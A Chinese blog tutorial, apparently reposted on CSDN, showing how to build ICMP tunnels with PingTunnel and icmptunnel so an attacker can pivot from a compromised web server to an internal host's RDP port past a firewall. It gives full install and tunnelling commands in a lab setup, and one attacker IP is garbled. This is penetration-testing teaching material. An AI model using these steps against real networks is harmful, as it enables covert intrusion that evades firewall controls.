udp转发被禁用_内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)...

1833ed8d4fc2a09dc06d33f64560a367.gif网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel) 1833ed8d4fc2a09dc06d33f64560a367.gif af52b15499b71ab2dfdd3676ed7f0867.png

目录

    ICMP隧道

        使用ICMP搭建隧道(PingTunnel)

        使用ICMP搭建隧道(Icmptunnel)

af52b15499b71ab2dfdd3676ed7f0867.png 3db79ea10fe06f3a7fb56cff320240ca.png ICMP隧道 7a52b175bd7c35377f5e248fd45ba3f4.png

ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。

在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问访问。

3db79ea10fe06f3a7fb56cff320240ca.png 使用ICMP搭建隧道(PingTunnel) 7a52b175bd7c35377f5e248fd45ba3f4.png

PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,还可以为隧道设置密码。

拓扑图如下:

192.168.10.X 模拟公网地址,Web服务器模拟企业对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网存在一台WIndows机器,Web服务器可以与该机器连接。现在我们获取到了Web服务器的权限,想用ICMP搭建通往内网的隧道,连接内网Windows的3389端口。

12e3b954ab0eb2ceaf0089dd03655913.png

PingTunnel的安装

#安装libpcap的依赖环境yum -y install byaccyum -y install flex bison #安装libpcap依赖库wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gztar -xzvf libpcap-1.9.0.tar.gzcd libpcap-1.9.0./configuremake && make install #安装PingTunnelwget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gztar -xzvf PingTunnel-0.72.tar.gzcd PingTunnelmake && make install

在Web服务器的操作

ptunnel -x shuteer     #-x 指定连接密码

ffea017c7d98b9f2068740ef45fb73ca.png

VPS的操作

ptunnel -p 192.168.10.129 -lp 1080 -da 10.10.10.10 -dp 3389 -x shuteer    -p 指定ICMP隧道另一端的IP    -lp:指定本地监听的端口    -da:指定要转发的目标机器的IP    -dp:指定要转发的目标机器的端口    -x:指定连接密码

67b227513e807e6cd14509f7dc5e1f8c.png

然后我们只需要远程连接192.168.10.129的1080端口就相当于连接了10.10.10.10的3389端口了。

3de1622ac16ed71f8517871b66761966.png

0e38ec9d7bd81b93cb901354131a81b8.png

3db79ea10fe06f3a7fb56cff320240ca.png 使用ICMP搭建隧道(Icmptunnel) 7a52b175bd7c35377f5e248fd45ba3f4.png

适用场景:目标机器是Linux服务器的情况

  • 攻击机:Redhat7  192.1.68.10.20

  • 靶机:Centos7  192.168.10.13

ICMP隧道是指将TCP连接通过ICMP包进行隧道传送的一种方法。

icmptunnel是一个将IP流量封装到 ICMP echo请求和回复(ping)包中的隧道工具,是在允许 ping 的网络中进行拓展、绕过防火墙的一种半隐蔽方式。虽然ICMP echo流量在网络边界通常会被过滤,但这种方法仍然可能对从企业内网出连到互联网的技术有一定帮助。

icmptunnel的安装

分别在服务端和客户端安装 icmptunnel,安装过程如下

git clone https://github.com/jamesbarlow/icmptunnel.gitmake

32a45349c03293814b6165f10849e3ce.png

服务端的操作:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all      #禁用icmp回复./icmptunnel -s                                       #监听重新打开一个命令行窗口ifconfig tun0 10.0.0.1 netmask 255.255.255.0          #添加tun0网卡,分配隧道地址10.0.0.1/24

9dadc9d8233c1f6c4c6b522348cd9306.png

7de155f5d9011f74fe4f90b4a21c02ca.png

客户端的操作:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all      #禁用icmp回复./icmptunnel 192.168.10.20                            #连接服务端重新打开一个命令行窗口ifconfig tun0 10.0.0.2 netmask 255.255.255.0          #添加tun0网卡,分配隧道地址10.0.0.2/24

6ba4ba584e34e0e3a6e7dd69af38bb2f.png

至此,客户端和服务端已经打通了一条ICMP隧道。

7f2aa83894ce734300d6528bd7303da0.png

接下来,在客户端和服务端分别用隧道的ip地址进行SSH连接。

8fc81bc75f943d8f162c657d7cdbc52b.png

9b24d0494d1c52b62fe4e287dcfbe1ee.png

6ba18f0e29c7ce5d0176f306fa616975.png

dfeeb12877cd26387a453e3b7e58c607.png

责编:Vivian

来源:谢公子博客

0e2e177efd374b9c7ca45a3fcaf2e8e5.png 6188611d4c6fe6ab0b9f3a148b2bc2e3.png 如果文中有错误的地方,欢迎指出。有想转载的,可以留言我加白名单。
最后,欢迎加入谢公子的小黑屋(安全交流群)(QQ群:783820465)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值